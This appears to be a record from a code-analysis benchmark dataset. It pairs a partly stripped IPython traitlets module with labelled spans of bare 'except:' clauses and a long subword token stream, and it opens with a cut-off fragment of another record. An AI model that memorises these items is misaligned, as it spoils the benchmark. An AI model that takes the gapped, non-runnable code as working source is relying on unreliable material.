", "exception", " ", "was", " ", "not", " ", "throw", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cloud", "Files", "Moc", "k", "Ra", "w", "Response_", "(_", "Moc", "k", "Ra", "w", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "v1", "\\u", "Mos", "so", "Cloud", "FS", "\\u", "foo", "\\u", "bar", "\\u", "container", "\\u", "foo", "\\u", "test\\u", "upload_", "(_", "self_", ",_", "method_", ",_", "url_", ",_", "body_", ",_", "headers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "test\\u", "object\\u", "upload", "\\u", "success_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "header_", "=_", "copy_", "._", "deepcopy_", "(_", "self_", "._", "base", "\\u", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
enthought/depsolver/depsolver/bundled/traitlets/_implementation.py
[ { "content": "# encoding: utf-8\n\"\"\"\nA lightweight Traits like module.\n\nThis is designed to provide a lightweight, simple, pure Python version of\nmany of the capabilities of enthought.traits. This includes:\n\n* Validation\n* Type specification with defaults\n* Static and dynamic notification\n* Basic predefined types\n* An API that is similar to enthought.traits\n\nWe don't support:\n\n* Delegation\n* Automatic GUI generation\n* A full set of trait types. Most importantly, we don't provide container\n traits (list, dict, tuple) that can trigger notifications if their\n contents change.\n* API compatibility with enthought.traits\n\nThere are also some important difference in our design:\n\n* enthought.traits does not validate default values. We do.\n\nWe choose to create this module because we need these capabilities, but\nwe need them to be pure Python so they work in all Python implementations,\nincluding Jython and IronPython.\n\nInheritance diagram:\n\n.. inheritance-diagram:: IPython.utils.traitlets\n :parts: 3\n\nAuthors:\n\n* Brian Granger\n* Enthought, Inc. Some of the code in this file comes from enthought.traits\n and is licensed under the BSD license. Also, many of the ideas also come\n from enthought.traits even though our implementation is very different.\n\"\"\"\n\n#-----------------------------------------------------------------------------\n# Copyright (C) 2008-2011 The IPython Development Team\n#\n# Distributed under the terms of the BSD License. The full license is in\n# the file COPYING, distributed as part of this software.\n#-----------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------\n# Imports\n#-----------------------------------------------------------------------------\n\n\nimport inspect\nimport re\nimport sys\nimport types\nfrom types import FunctionType\ntry:\n from types import ClassType, InstanceType\n ClassTypes = (ClassType, type)\nexcept:\n ClassTypes = (type,)\n\nimport six\n\n\nif not six.PY3 and sys.version_info[1] < 6:\n maxsize = _compute_maxsize()\n bytes = str\nelse:\n maxsize = sys.maxsize\n\n\nif six.PY3:\nelse:\n _name_re = re.compile(r\"[a-zA-Z_][a-zA-Z0-9_]*$\")\n \n \nSequenceTypes = (list, tuple, set, frozenset)\n\n#-----------------------------------------------------------------------------\n# Basic classes\n#-----------------------------------------------------------------------------\n\n\nNoDefaultSpecified = NoDefaultSpecified()\n\n\nUndefined = Undefined()\n\n\n#-----------------------------------------------------------------------------\n# Utilities\n#-----------------------------------------------------------------------------\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#-----------------------------------------------------------------------------\n# Base TraitType for all traits\n#-----------------------------------------------------------------------------\n\n\n\n\n#-----------------------------------------------------------------------------\n# The HasTraits implementation\n#-----------------------------------------------------------------------------\n\n\n\n\n#-----------------------------------------------------------------------------\n# Actual TraitTypes implementations/subclasses\n#-----------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------\n# TraitTypes subclasses for handling classes and instances of classes\n#-----------------------------------------------------------------------------\n\n\n\n\n\n\n\n\n\n\n\n\n#-----------------------------------------------------------------------------\n# Basic TraitTypes implementations/subclasses\n#-----------------------------------------------------------------------------\n\n\n\n\n\n\nif six.PY3:\n Long, CLong = Int, CInt\n Integer = Int\nelse:\n\n\n\n\n\n\n\n\n\n\n\n# We should always be explicit about whether we're using bytes or unicode, both\n# for Python 3 conversion and for reliable unicode behaviour on Python 2. So\n# we don't have a Str type.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": " def _notify_trait(self, name, old_value, new_value):\n\n # First dynamic ones\n callables = self._trait_notifiers.get(name,[])\n more_callables = self._trait_notifiers.get('anytrait',[])\n callables.extend(more_callables)\n\n # Now static ones\n try:\n cb = getattr(self, '_%s_changed' % name)\n except:\n pass\n else:\n callables.append(cb)\n\n # Call them all now\n for c in callables:\n # Traits catches and logs errors here. I allow them to raise\n if callable(c):\n argspec = inspect.getargspec(c)\n nargs = len(argspec[0])\n # Bound methods have an additional 'self' argument\n # I don't know how to treat unbound methods, but they\n # can't really be used for callbacks.\n if isinstance(c, types.MethodType):\n offset = -1\n else:\n offset = 0\n if nargs + offset == 0:\n c()\n elif nargs + offset == 1:\n c(name)\n elif nargs + offset == 2:\n c(name, new_value)\n elif nargs + offset == 3:\n c(name, old_value, new_value)\n else:\n raise TraitError('a trait changed callback '\n 'must have 0-3 arguments.')\n else:\n raise TraitError('a trait changed callback '\n 'must be callable.')", "metadata": "root.HasTraits._notify_trait", "header": "['class', 'HasTraits', '(', 'six', '.', 'with_metaclass', '(', 'MetaHasTraits', ',', 'object', ')', ')', ':', '___NEWLINE___', '___NL___', '#__metaclass__ = MetaHasTraits', '___NL___', '___EOS___']", "index": 496 }, { "content": " def validate(self, obj, value):\n \"\"\"Validates that the value is a valid object instance.\"\"\"\n try:\n if issubclass(value, self.klass):\n return value\n except:\n if (value is None) and (self._allow_none):\n return value\n\n self.error(obj, value)", "metadata": "root.Type.validate", "header": "['class', 'Type', '(', 'ClassBasedTraitType', ')', ':', '___EOS___']", "index": 752 }, { "content": " def validate(self, obj, value):\n try:\n return int(value)\n except:\n self.error(obj, value)", "metadata": "root.CInt.validate", "header": "['class', 'CInt', '(', 'Int', ')', ':', '___EOS___']", "index": 952 }, { "content": " def validate(self, obj, value):\n try:\n return long(value)\n except:\n self.error(obj, value)", "metadata": "root.CLong.validate", "header": "['class', 'CLong', '(', 'Long', ')', ':', '___EOS___']", "index": 979 }, { "content": " def validate(self, obj, value):\n try:\n return float(value)\n except:\n self.error(obj, value)", "metadata": "root.CFloat.validate", "header": "['class', 'CFloat', '(', 'Float', ')', ':', '___EOS___']", "index": 1025 }, { "content": " def validate (self, obj, value):\n try:\n return complex(value)\n except:\n self.error(obj, value)", "metadata": "root.CComplex.validate", "header": "['class', 'CComplex', '(', 'Complex', ')', ':', '___EOS___']", "index": 1048 }, { "content": " def validate(self, obj, value):\n try:\n return bytes(value)\n except:\n self.error(obj, value)", "metadata": "root.CBytes.validate", "header": "['class', 'CBytes', '(', 'Bytes', ')', ':', '___EOS___']", "index": 1072 }, { "content": " def validate(self, obj, value):\n try:\n return unicode(value)\n except:\n self.error(obj, value)", "metadata": "root.CUnicode.validate", "header": "['class', 'CUnicode', '(', 'Unicode', ')', ':', '___EOS___']", "index": 1096 }, { "content": " def validate(self, obj, value):\n try:\n return bool(value)\n except:\n self.error(obj, value)", "metadata": "root.CBool.validate", "header": "['class', 'CBool', '(', 'Bool', ')', ':', '___EOS___']", "index": 1156 }, { "content": " def validate(self, obj, value):\n try:\n return re.compile(value)\n except:\n self.error(obj, value)", "metadata": "root.CRegExp.validate", "header": "['class', 'CRegExp', '(', 'TraitType', ')', ':', '___EOS___']", "index": 1496 } ]
[ { "span": "except:", "start_line": 63, "start_column": 0, "end_line": 63, "end_column": 7 }, { "span": "except:", "start_line": 506, "start_column": 8, "end_line": 506, "end_column": 15 }, { "span": "except:", "start_line": 757, "start_column": 8, "end_line": 757, "end_column": 15 }, { "span": "except:", "start_line": 955, "start_column": 8, "end_line": 955, "end_column": 15 }, { "span": "except:", "start_line": 982, "start_column": 12, "end_line": 982, "end_column": 19 }, { "span": "except:", "start_line": 1028, "start_column": 8, "end_line": 1028, "end_column": 15 }, { "span": "except:", "start_line": 1051, "start_column": 8, "end_line": 1051, "end_column": 15 }, { "span": "except:", "start_line": 1075, "start_column": 8, "end_line": 1075, "end_column": 15 }, { "span": "except:", "start_line": 1099, "start_column": 8, "end_line": 1099, "end_column": 15 }, { "span": "except:", "start_line": 1159, "start_column": 8, "end_line": 1159, "end_column": 15 }, { "span": "except:", "start_line": 1499, "start_column": 8, "end_line": 1499, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "encoding", ":", " ", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "A", " ", "light", "weight", " ", "Trait", "s", " ", "like", " ", "module", ".", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "is", " ", "design", "ed", " ", "to", " ", "provide", " ", "a", " ", "light", "weight", ",", " ", "simple", ",", " ", "pure", " ", "Pyth", "on", " ", "version", " ", "of", "\\", "10", ";", "many", " ", "of", " ", "the", " ", "capab", "ilities", " ", "of", " ", "enth", "ou", "ght", ".", "traits", ".", " ", " ", "Thi", "s", " ", "include", "s", ":", "\\", "10", ";", "\\", "10", ";", "*", " ", "Validat", "ion", "\\", "10", ";", "*", " ", "Type", " ", "specifica", "tion", " ", "with", " ", "default", "s", "\\", "10", ";", "*", " ", "Static", " ", "and", " ", "dynami", "c", " ", "notification", "\\", "10", ";", "*", " ", "Basic", " ", "prede", "fined", " ", "types", "\\", "10", ";", "*", " ", "An", " ", "API", " ", "tha", "t", " ", "is", " ", "similar", " ", "to", " ", "enth", "ou", "ght", ".", "traits", "\\", "10", ";", "\\", "10", ";", "We", " ", "don", "'", "t", " ", "support", ":", "\\", "10", ";", "\\", "10", ";", "*", " ", "Del", "egat", "ion", "\\", "10", ";", "*", " ", "Automat", "ic", " ", "GU", "I", " ", "generat", "ion", "\\", "10", ";", "*", " ", "A", " ", "full", " ", "set", " ", "of", " ", "tra", "it", " ", "types", ".", " ", " ", "Mos", "t", " ", "importa", "ntl", "y", ",", " ", "we", " ", "don", "'", "t", " ", "provide", " ", "container", "\\", "10", ";", " ", " ", "traits", " ", "(", "list", ",", " ", "dict", ",", " ", "tuple", ")", " ", "tha", "t", " ", "can", " ", "trigger", " ", "notification", "s", " ", "if", " ", "thei", "r", "\\", "10", ";", " ", " ", "content", "s", " ", "change", ".", "\\", "10", ";", "*", " ", "API", " ", "compatibility", " ", "with", " ", "enth", "ou", "ght", ".", "traits", "\\", "10", ";", "\\", "10", ";", "There", " ", "are", " ", "als", "o", " ", "some", " ", "importa", "nt", " ", "difference", " ", "in", " ", "our", " ", "design", ":", "\\", "10", ";", "\\", "10", ";", "*", " ", "enth", "ou", "ght", ".", "traits", " ", "doe", "s", " ", "not", " ", "validat", "e", " ", "default", " ", "values", ".", " ", " ", "We", " ", "do", ".", "\\", "10", ";", "\\", "10", ";", "We", " ", "choose", " ", "to", " ", "create", " ", "this", " ", "module", " ", "bec", "aus", "e", " ", "we", " ", "need", " ", "these", " ", "capab", "ilities", ",", " ", "but", "\\", "10", ";", "we", " ", "need", " ", "them", " ", "to", " ", "be", " ", "pure", " ", "Pyth", "on", " ", "so", " ", "the", "y", " ", "work", " ", "in", " ", "all", " ", "Pyth", "on", " ", "implementation", "s", ",", "\\", "10", ";", "inclu", "ding", " ", "Jy", "tho", "n", " ", "and", " ", "Iron", "Pyth", "on", ".", "\\", "10", ";", "\\", "10", ";", "Inherit", "anc", "e", " ", "diag", "ram", ":", "\\", "10", ";", "\\", "10", ";", "..", " ", "inherita", "nce", "-", "diag", "ram", "::", " ", "IP", "yth", "on", ".", "util", "s", ".", "tra", "itle", "ts", "\\", "10", ";", " ", " ", " ", ":", "part", "s", ":", " ", "3", "\\", "10", ";", "\\", "10", ";", "Author", "s", ":", "\\", "10", ";", "\\", "10", ";", "*", " ", "Brian", " ", "Gran", "ger", "\\", "10", ";", "*", " ", "Ent", "hou", "ght", ",", " ", "Inc", ".", " ", " ", "Some", " ", "of", " ", "the", " ", "code", " ", "in", " ", "this", " ", "file", " ", "come", "s", " ", "from", " ", "enth", "ou", "ght", ".", "traits", "\\", "10", ";", " ", " ", "and", " ", "is", " ", "license", "d", " ", "under", " ", "the", " ", "BS", "D", " ", "license", ".", " ", " ", "Al", "so", ",", " ", "many", " ", "of", " ", "the", " ", "idea", "s", " ", "als", "o", " ", "come", "\\", "10", ";", " ", " ", "from", " ", "enth", "ou", "ght", ".", "traits", " ", "even", " ", "tho", "ugh", " ", "our", " ", "implementation", " ", "is", " ", "very", " ", "different", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "C", ")", " ", "2008", "-", "2011", " ", " ", "The", " ", "IP", "yth", "on", " ", "Dev", "elo", "pme", "nt", " ", "Team_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Distribut", "ed", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "BS", "D", " ", "License", ".", " ", " ", "The", " ", "full", " ", "license", " ", "is", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "the", " ", "file", " ", "COPY", "ING", ",", " ", "distributed", " ", "as", " ", "part", " ", "of", " ", "this", " ", "software", "._", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Imports", "_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "inspect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "types_", "import_", "Function", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "types_", "import_", "Class", "Type_", ",_", "Insta", "nce", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Class", "Types_", "=_", "(_", "Class", "Type_", ",_", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Class", "Types_", "=_", "(_", "type_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "six_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "six_", "._", "PY", "3_", "and_", "sys_", "._", "version", "\\u", "info_", "[_", "1_", "]_", "<_", "6_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "maxsize_", "=_", "\\u", "compute", "\\u", "maxsize_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bytes_", "=_", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "maxsize_", "=_", "sys_", "._", "maxsize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "six_", "._", "PY", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "name", "\\u", "re_", "=_", "re_", "._", "compile_", "(_", "r", "\"[", "a", "-", "z", "A", "-", "Z", "\\u]", "[", "a", "-", "z", "A", "-", "Z", "0", "-", "9", "\\u]*", "$\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Sequ", "ence", "Types_", "=_", "(_", "list_", ",_", "tuple_", ",_", "set_", ",_", "frozenset_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic", " ", "classes_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "No", "Default", "Specifie", "d_", "=_", "No", "Default", "Specifie", "d_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Unde", "fined", "_", "=_", "Unde", "fined", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Utilities_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Base", " ", "Trait", "Type", " ", "for", " ", "all", " ", "traits_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "Has", "Trait", "s", " ", "implementation_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Actual", " ", "Trait", "Type", "s", " ", "implementation", "s", "/", "subclasses", "_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Trait", "Type", "s", " ", "subclasses", " ", "for", " ", "handling", " ", "classe", "s", " ", "and", " ", "instance", "s", " ", "of", " ", "classes_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic", " ", "Trait", "Type", "s", " ", "implementation", "s", "/", "subclasses", "_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "six_", "._", "PY", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Long_", ",_", "CL", "ong_", "=_", "Int_", ",_", "CI", "nt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Integer_", "=_", "Int_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "shou", "ld", " ", "alw", "ay", "s", " ", "be", " ", "explicit", " ", "abo", "ut", " ", "whe", "ther", " ", "we", "'", "re", " ", "usi", "ng", " ", "bytes", " ", "or", " ", "unicode", ",", " ", "both_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "Pyth", "on", " ", "3", " ", "conve", "rsi", "on", " ", "and", " ", "for", " ", "reliab", "le", " ", "unicode", " ", "behaviour", " ", "on", " ", "Pyth", "on", " ", "2", ".", " ", "So", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "don", "'", "t", " ", "have", " ", "a", " ", "Str", " ", "type", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "class_", "Has", "Trait", "s_", "(_", "six_", "._", "with", "\\u", "metaclass_", "(_", "Meta", "Has", "Trait", "s_", ",_", "object_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#\\u", "\\u", "metaclass", "\\u\\u", " ", "=", " ", "Meta", "Has", "Trait", "s_", "\\u\\u\\uNL\\u\\u\\u_", 